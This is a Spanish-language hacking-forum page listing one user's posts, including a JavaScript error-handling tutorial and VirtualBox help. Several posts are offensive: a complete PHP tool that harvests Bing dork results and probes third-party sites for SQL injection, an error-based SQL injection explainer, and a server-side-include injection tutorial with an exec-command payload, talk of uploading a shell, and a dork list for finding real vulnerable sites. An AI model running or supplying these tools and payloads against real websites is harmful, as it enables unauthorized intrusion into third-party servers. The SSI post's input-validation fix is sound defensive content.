Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - arthusu

#341
Base de Datos / MySQL minitutorial parte 5
Mayo 17, 2013, 03:50:40 AM
Siguiendo con estos minitutoriales acabo de terminar la parte 5 esperen la que viene espero que les guste cualquier comentario,sugerencia o critica constructiva es bienvenida salu2

link para ver online:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

salu2
#342
Buenas underc0de este post lo publique en mi blog espero que a mas de uno les sea de utilidad lo siguiente :p

Bueno anteriormente publique una entrada la cual era un juego de piedra, papel o tijera... en la cual probabamos el codigo javascript en la consola de firebug, aunque puede ser de utilidad para comprobar errores tambien en este caso explicaremos dos de mis favoritas :P

Empezaremos con algo que viene ya en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y nos guiaremos de ella :D

Try...Throw...Catch

Estos son la utilizacion de try (intentar ejecutar codigo)... throw (lanzar mensaje personalizado)... catch (atrapar errores)....

Bueno siempre que programas un script en javascript pueden suceder errores, y con try,throw y catch podemos saber por que suceden tales errores (si es que sabemos en que parte se encuentra el error :P)....


Bueno aunque no es necesario usar throw muchas veces puede resultar util para personalizar nuestro mensaje de error, por lo cual veremos un ejemplo de try...catch y uno de try...throw...catch

Ejemplo de try...catch:

Código: javascript
<!DOCTYPE html>
<html>
<head>
<title>try...catch</title>
<script>
var txt="";
function mensaje(){
try{
adddlert("Bievenido invitado");
}
catch(e){
txt="Ha ocurrido un error\n\n";
txt+="Descripcion: "+ e.message+"\n\n";
txt+="Da click aceptar para continuar\n\n";
alert(txt);
}
}
</script>
</head>
<body>
<input type="button" value="Ver mensaje" onclick="mensaje();" />
</body>
</html>


Lo que hace esto es intentar ejecutar el codigo que se encuentra entre try { code} pero si el codigo es erroneo se pasa a catch el cual lanza un mensaje de alerta con el error, en este caso e que es el parametro de catch, nos ayuda para que se muestre el mensaje que recogio e.message



Imagen de ejemplo

Como puedes ver nos lanza el mensaje de error en este caso nos dice que adddlert no esta definida y como es claro esa funcion no existe :P

Ahora podriamos personalizar ese mensaje de adddlert pero mejor veremos otro ejemplo, estos dos ejemplos que les muestro los pueden ver en w3schools, les deje el enlace arriba :P

Ejemplo try...throw...catch:

Código: javascript
<!DOCTYPE html>
<html>
<head>
<title>try...throw...catch</title>
<script>
function myFunction(){
try{
var x=document.getElementById('demo').value;
if(x=="") throw "vacio";
if(isNaN(x)) throw "no es numero";
if(x>10) throw "es mayor";
if(x<5) throw "es menor";
var y=document.getElementById('mess');
y.innerHTML="Correcto!";
}
catch(e){
var y=document.getElementById('mess');
y.innerHTML="Error: "+ e + ".";
}
}
</script>
</head>
<body>
<h1>Detectando errores y personalizando</h1>
<p>Porfavor introduce un numero entre 5 y 10:</p>
<input type="text" id="demo" />
<input type="button" onclick="myFunction();" value="Probar valor" />
<p id="mess"></p>
</body>
</html>


En este ejemplo lo que hacemos es darle un rango de valores al input... entre 5 y 10 si es menor lo mostramos si es mayor tambien si esta vacio tambien si es una letra tambien xDDD :P



Imagen ejemplo 2


Por consola y firebug

En realidad yo trabajo con firefox y no tengo idea si otros navegadores incluyen una consola de este tipo de todas formas creo que muchos deben de tenerlo solo es cuestion de buscarle XDD

En este caso yo utilizo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y de ahi la saco la consola.... Desde Tools>Error Console....
o Tambien la tachita que muestra te dice el error que puede estar causando...
Y tambien esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login que es demasiado bueno para hacer debug jeje

Aqui tenemos el ultimo ejemplo parecido al primero siendo que tenemos el mismo error, pero en este caso no utilizamos try...catch...

Ejemplo 3:

Código: javascript
<!DOCTYPE html>
<html>
<head>
<title>Console</title>
<script>
function alerta(){
adddlert("Bievenido invitado");
}
</script>
</head>
<body>
<input type="button" onclick="alerta();" value="Probar!" />
</body>
</html>



Imagen ejemplo 1

Como puedes ver en la imagen de ejemplo en este caso utilizamos la consola de errores para detectar el error


Imagen ejemplo 2

Y en este otro ejemplo utilizamos firebug para detectar el error...

Espero que estos consejos o tutorial les haya sido de utilidad a mas de uno :P
#343
Python / Re:Skype Metadata Extractor
Abril 22, 2013, 02:57:32 PM
excelente aporte bro gracias por traerlo salu2
#344
Windows / Re:Convierte tu tarjeta wifi en un router.
Abril 17, 2013, 04:31:49 AM
en linux se puede crear desde el administrador de redes inalambricas (network-manager) >crear una red inalambrica nueva.
#345
Back-end / Re:Miniscanner de puertos en PHP
Abril 16, 2013, 02:15:33 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno tu aporte, lo único es que concuerdo con 2facer, deberías comenzar a usar funciones; Es más sencillo y mucho más ordenado.
Saludos hermano.
Gracias por la sugerencia la tomare en cuenta bro salu2
#346
Dudas y pedidos generales / Re:Error en VirtualBox.
Abril 14, 2013, 09:02:56 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Instala las dependencias :P
¿Cómo? :s
en la imagen anterior que pusistes dice que te faltan dependencias (te dice cuales :P) y que tienes paquetes rotos, pero para que ya quede bien te recomiendo mejor hacer lo siguientes pasos y te la instales :D
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
no va demas la guia oficial:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
salu2
Gracias arthusu, lo pruebo llegando a casa y posteo si sirve o si no.
Saludos.
ahi agregue algo mas sudo apt-get -f install virtualbox-4.2 ;)
#347
Dudas y pedidos generales / Re:Error en VirtualBox.
Abril 14, 2013, 08:56:23 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Instala las dependencias :P
¿Cómo? :s
en la imagen anterior que pusistes dice que te faltan dependencias (te dice cuales :P) y que tienes paquetes rotos, pero para que ya quede bien te recomiendo mejor hacer lo siguientes pasos y te la instales :D
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
no va demas la guia oficial:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Nota: hay una forma de la cual arreglas los paquetes rotos sudo apt-get -f install virtualbox-4.2
-f  Intenta corregir un sistema con dependencias rotas
salu2
#348
Dudas y pedidos generales / Re:Error en VirtualBox.
Abril 14, 2013, 05:00:20 PM
Instala las dependencias :P
#349
Excelente aporte como siempre q3rv0 :D
#350
Aqui les traigo una entrada que acabo de publicar en mi BLOG espero que les sea de utilidad :D :P

Bueno aqui les muestro un video como se puede realizar una inyeccion sql, se pone double query por que la consulta tiene dos peticiones entonces... muchas veces no podemos hace union select por que nos devuelve algo como... The used SELECT statements have a different number of columns (esto muchas veces puede evitarse viendo el codigo fuente ;) ) o tambien puede deberse a que el campo de la url es vulnerable pero no nos muestra ningun registro en la web por lo que sigue dandose el mismo problema, entonces como sabemos que es  "Error based" entonces hacemos unas peticiones con subconsultas ordenando con group by un alias y como es random de 0 o 1 por la funcion floor, entonces nos causa error en la web por que se duplica la entrada.... si no especificas un 0 en rand(0)*2, es decir, de esta manera rand()*2 entonces igual funcionaria solo que tendrias que hacer varias peticiones hasta que una salga duplicada por eso especificamos el 0, hay muchas variaciones sobre esta inyeccion, si quieren saber mas... Google :d, bueno como arriba en el titulo nunca dije que fuese un tutorial sino una explicacion de lo que pasa, les dejo un video de como puede ser realizada, enjoy!!

Nota: Si algo no logran entenderlo pasense por los minitutoriales de mysql aqui en el mismo BLOG, como una ves dijo mi amigo "q3rv0 siempre tienes que entender lo que estas haciendo" y como dijo mi amigo  "dedalo tienes que ver mas ayá de la tool"


Video:



Pueden ponerlo en calidad 720(HD) salu2

Si quieren tutorial detallado pueden ver el de WilyXem: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si quieren mas a lo mejor con el buscador encuentran salu2 :P
#351
Android / Re:Underc0de Port Scanner V 1.0
Abril 09, 2013, 01:47:42 AM
Mis respetos hdbreaker excelente aporte muchas gracias por traerlo
#352
Dudas y pedidos generales / Re:Problema con Insert.
Abril 08, 2013, 07:54:29 PM
intenta no agregar el valor id, es decir, no agregues id en insert into ni en values ya que igual se autoincrementa solo y se ponen los nuevos registros intentalo y me cuentas, aver que sucede :P
#353
Back-end / SQLi Scanner by arthusu
Abril 08, 2013, 06:41:31 AM
Antes quiero comentarles que no soy muy bueno programando pero hago lo que puedo,bueno he creado este script mas que nada por que me artaba de darle clic a las webs (necesidad xD) y como google te bloqueaba a cierto punto entonces utilice bing, aunque de todas maneras para este tipo de escaneo necesitas un buen servidor con ancho de banda jeje para que lo soporte dependiendo de las peticiones, igual puedes modificar el script y mejorarlo, espero que a mas de uno le ayude....

Aca les dejo unas imagenes....







para usar es tan facil como agregar el dork y las paginas en paginas serian las paginacion de bing.... 1,2,3,4, etc... recomiendo que lo dejen por defecto en 5 ;)

ahora tienen dos opciones de escaneo, cuando seleccionas el checkbox hace una comparacion de paginas (agradesco a Alguien por pasarme este tip :D) y lo que hace es un vector and 0 que seria para blind... aunque pueden modificar a su gusto :P

y el otro detecta errores pueden agregar mas si lo desean.... o quitar si lo desean...

denle permisos a la carpeta para que se les agregue una lista de dorks si gustan sino comenten esas dos lineas...

pueden seleccionar el checkbox pero como hace una comparacion aveces da falso positivos si es una pagina dinamica por ejemplo que cambia su contenido como un slider... o diferentes cosas daria falsos positivos tambien .... o redirecciones, etc....

Aca esta el codigo sin ofuscar xD :P

Código: php

<title>Buscador SQLi</title>
<style>
body{
background-color: black;
color:white;
text-align: center;
text-decoration: none;
}
.text:hover{
text-shadow: 1px 1px 5px #fff;
}
img:hover{
opacity:0.6;
}
a{
text-decoration: none;
color:red;
}
a:hover{
text-decoration: underline;
}
</style>
<!-- Buscador SQLi basica usando bing by arthusu -->
<a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
<?php
/*
+------------------------------------------------+
|   Buscador SQLi basica usando BING by arthusu  |
+------------------------------------------------+
*/
//sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
set_time_limit(0);
//esta funcion lo que hace es conectar a la url que le indiquemos como parametro
function conectar_url($url){
//inicia curl y lo guarda en ch
$ch=curl_init();
//le damos una opciones como la url
curl_setopt($ch, CURLOPT_URL, $url);
//le damos una opcion de que nos devuelva la pagina sea verdadero
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//de que siga la redireccion como verdadero
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
//de establecer un navegador en la cabecera user agent
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
//aqui en esta variable se guarda la pagina
$pagina=curl_exec($ch);
curl_close($ch);
//devolvemos la pagina :D
return $pagina;
}
//si existe enviar
if(isset($_POST['enviar'])){
// y si no estan vacios los campos
if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
//almacenamos nuestras variables
$dork=htmlentities($_POST['dork'],ENT_QUOTES);
$paginas=$_POST['paginas'];
$paginas=htmlentities($paginas,ENT_QUOTES);
//abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
$archivo=fopen('dorks.txt','a');
fwrite($archivo, "Dork insertado: ".$dork."\n");
fclose($archivo);
//conformamos la url
$bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
//i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
//en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
$i=1;
while($i<=$paginas){
//si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
$url_bing=str_replace('comienza', $i, $bing_url);
//echo $url_bing ."<br />";
//almacenamos en una variable lo que nos retorna la busqueda
$conectado=conectar_url($url_bing);
//si no se encuentran resultados entonces que lo muestre
if(preg_match("/No se encontraron resultados para/i", $conectado)){
echo "No se encontro ningun resultado";
}else{
//nos conectamos a la url para que podamos verificar los enlaces
$conectado2=conectar_url($url_bing);
//print_r($enlaces);
//verificamos si se encuentran enlaces
if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
//tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
if(!empty($_POST['checked'])){
   for($e=0; $e<count($enlaces); $e++){
    //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
    $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
    $reemplazo=str_replace('"', "", $reemplazo);
    //$reemplazo=$enlaces[0][$e];
    //reemplazamos en =cualquiercosa por =" de manera para verificar el error
      //$vuln=$reemplazo."'";
      $vuln=$reemplazo;
      $vuln2=$reemplazo." and 0";
      //$vuln=str_replace("=","=order by 2" , $reemplazo);
      //conectamos a la url modificada
      $conectado3=conectar_url($vuln);
      $conectado4=conectar_url($vuln2);
      if($conectado3!=$conectado4){
      echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      }else{
      echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
      }
     
    }
    }else{
    for($e=0; $e<count($enlaces); $e++){
    //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
    $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
    $reemplazo=str_replace('"', "", $reemplazo);
    //reemplazamos en =cualquiercosa por =" de manera para verificar el error
      //$vuln=$reemplazo."'";
      $vuln2=$reemplazo."\\";
      //$vuln=str_replace("=","=order by 2" , $reemplazo);
      //conectamos a la url modificada
      $conectado4=conectar_url($vuln2);

      //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
      if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
      echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      }else{
      echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
      }
    }
    }
    }else{
    //si no se encontraron url entonces decimos que no coinciden con el formato
    echo "No coincide con el formato<br />";
    }

}
//borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
unset($url_bing);
//aumentamos i a uno para que siga recorriendo las urls
++$i;
}
}else{
//si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
echo "Debes llenar los campos <br /><br />";
?>
<!-- Aqui tenemos nuestro formulario -->
<center>
<table border="0" width="500">
<form action="" method="post">
<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
<tr><td><input name="checked" type="checkbox"></td></tr>
<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
</form>
<table>
</center>
<?php
}
}else{
//sino existe enviar muestra un mensaje y muestra el formulario de nuevo
echo '
<center>
<table border="0" width="500">
<form action="" method="post">
<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
<tr><td><input name="checked" type="checkbox"></td></tr>
<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
</form>
<table>
</center>
';
}
/*
La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
Este programa puede llegar a lanzar falsos positivos....
*/
?>


salu2
#354
Con html y algo de css y un poco de php puedes hacer lo que estas buscando... de todas maneras puedes guiarte desde un formulario de envio por ejemplo:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
solo agregar los campos que quieras y darle un diseño, el diseño ya sera parte tuya la imagen creo que se puede extraer del pdf :P
salu2 bro
#355
Esta entrada la he posteado en mi blog, antes que nada comentarles que hay informacion aqui:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Solo que aqui explico a mi manera y hago una prueba para la comprension espero que les guste :D

Bueno la verdad no soy un experto en el tema pero es muy facil de comprenderlo... Antes de empezar a explicar la inyeccion empezare dando una breve explicacion de lo que trata SSI...

¿Que es SSI?

Server side includes... es una manera de mostrar contenido dinamico en una pagina web, sin necesidad de utilizar scripts, tales como: PHP,CGI,ASP,etc
Para poder usar Ssi es necesario hacer uso de las directivas que nos provee y tener activado en el servidor la opcion para poder utilizarlo.

¿Donde encontramos esta vulnerabilidad?

La vulnerabilidad se encuentra al activar SSI en el servidor en este ejemplo usaremos Apache como servidor....

¿Como activarlo?


Bueno en xampp (el que utilizaremos en este tutorial) y en muchas paginas web vienen activado por defecto muchas veces para los formatos con extension .shtml .... para ver un ejemplo editare el archivo httpd.conf viendo que viene por defecto activado para las paginas con extension .shtml:



Como puedes mirar en la imagen de ejemplo, tenemos
AddType text/html .shtml
es decir que si tu tienes archivos con la extension .shtml seran interpretados como archivos html
AddOutputFilter INCLUDES .shtml
quiere decir que filtrara la salida de todos los archivos shtml, si es que contienen las "directivas" de ssi, asi pudiendo ejecutar contenido dinamico :)

Entonces creo una pagina de ejemplo, llamada test_ssi.shtml:



Como puedes ver agrego un archivo html que seria puro contenido "estatico", pero al agregar algo como SSI (lo tengo activado para .shtml) como la fecha y hora local, al igual que ejecutar un comando para mostrar la lista de directorios esto ya vendria siendo contenido dinamico usando sus directivas, un poco mas adelante veremos la sintaxis y algunas directivas interesantes.....

El ejemplo anterior retorna un resultado como el siguiente:



Como puedes ver me ejecuta las directivas perfectamente....

Bueno antes de comenzar a mostrarles la inyeccion...

Sintaxis SSI y algunas de sus directivas

Su sintaxis es la siguiente:

Código: text
	<!--#directiva parametro=valor -->


Como puedes ver no es tan dificil ¿he? :P ya que es parecido a un comentario agregandole su etiqueta y parametros facil de usar :D

Algunas de sus directivas mas importantes son:
include,exec,echo...

Include= tiene los parametros file, direct o virtual y como te imaginas lo que hace es incluir archivos (html,scripts,txt,etc...) :D
Exec=tiene los parametros cgi o cmd, lo que hace esta directiva es ejecutar algun comando del sistema operativo o un script cgi.
Echo= tiene de parametro var esto nos permite mostrar variables de entorno algunas de ellas son: HTTP_USER_AGENT (navegador), LAST_MODIFIED (ultima vez que modifico el documento) HTTP_ACCEPT (el tipo de contenido que acepta nuestro navegador), si quieres mas informacion: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Hay mas si quieren ver mas You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login :)

¿Como inyectamos?

Bueno la verdad es que para inyectar tiene que haber un "campo de entrada". Siempre que hay un campo de entrada puedes comprometer tu sitio a cualquier daño no obstante tambien te puede dar mucha diversion y paginas mas complejas como son twitter y facebook, google y youtube, etc...

Entonces ese campo para poder inyectarlo como el SSI es parecido a una etiqueta HTML podemos probar inyectando codigo html o javascript (XSS) de esta manera vamos a ver si podria ser vulnerado, en este caso ya no utilizare mas el html anterior sino utilizare un archivo PHP, para eso he configurado un archivo de configuracion .htaccess para que me acepte SSI en archivos PHP aunque no es necesario ya que PHP genera contenido dinamico pero es como parte de la Poc (Prueba de concepto)....

Aqui esta mi configuracion de mi .htaccess:



Y este es mi archivo vulnerable:



Como puedes ver no se filtra el campo d etexto prueba ni tampoco enviar, pero bueno en este caso prueba es el que nos interesa por que lo que hace es mostrar lo que le ingresemos dentro.... Como se veria la pagina seria:



Entonces un ejemplo muy muy basico de XSS es:

Código: text
<script>alert(1)</script>


y el resultado al ingresarlo en el campo es el siguiente:



Como puedes ver es vulnerable a XSS, entonces ¿que pasaria si ingresamos alguna directiva de SSI? ya que como acepta codigo XSS que es inyectado en la pagina web, entonces podria aceptarnos una directiva :D

Entonces listemos los archivos del servidor:
Código: text

<!--#exec cmd="ls -la"-->


En este caso como se que puedo inyectar XSS entonces formateo el texto con la etiqueta pre para que me formatee el texto al igual como me sale en la terminal :D



Y como vemos se ha ejecutado nuestro comando, entonces solo es cuestion de bajar la shell y tenemos control sobre el servidor :D, de todas maneras tenemos ejecucion de comandos remotamente (RCE) con lo que seria suficiente para algunos :P

¿Como lo solucionamos?

Simplemente validar bien la entrada soluciona el problema... para validar la entrada de este ejemplo:



En este caso como filtra cualquier codigo html o javascript que podamos inyectar, por ende no nos aceptaria la directiva sino que lo que haria es lo que "realmente queremos" mostrar lo que ingrese :D



Nota importante: Antes de que digan algo como dije PHP ya es dinamico entonces no es necesario que se incluya en archivos PHP pero podria haber un que otro .shtml vulnerable por ahi... y no solo eso sino cualquier campo de entrada que pueda o no mostrarse en la pagina web y que lo interprete el archivo o web que utilizamos puede ser vulnerado mientras SSI este activado, en ese caso si no lo utilizas y haces alguna de estas cosas puedes "desactivarlo" borrando las entradas anteriores :D

Si quieren practicarlo pueden usar alguna tecnica de buscadores para encontrar alguna que otra web vulnerable, recuerden que al principio dije que muchas veces viene activado por defecto en archivos .shtml y bueno casi siempre cuando hacen algun ejemplo de XSS es en un buscador, login o campo de entrada :P

Agrego lista de dorks:

Código: text

inurl:bin/Cklb/
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=


Espero que les haya sido de utilidad este tuto, si les gusto comenten no sean trolls jajaja :P

Nota: Criticas constructivas sino ni comenten xDD :P
#356
Excelente bro de los mejores aportes de xss del foro un saludo :D
#357
Excelente aporte nomo11 que bueno que lo has traido espero ver mas asi :D
#358
Bievenido weon que bueno que te pasastes espero tus aportes en telefonia movil jejeje salu2 bro
#359
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#360
aunque no le doy a ruby eso se ve nice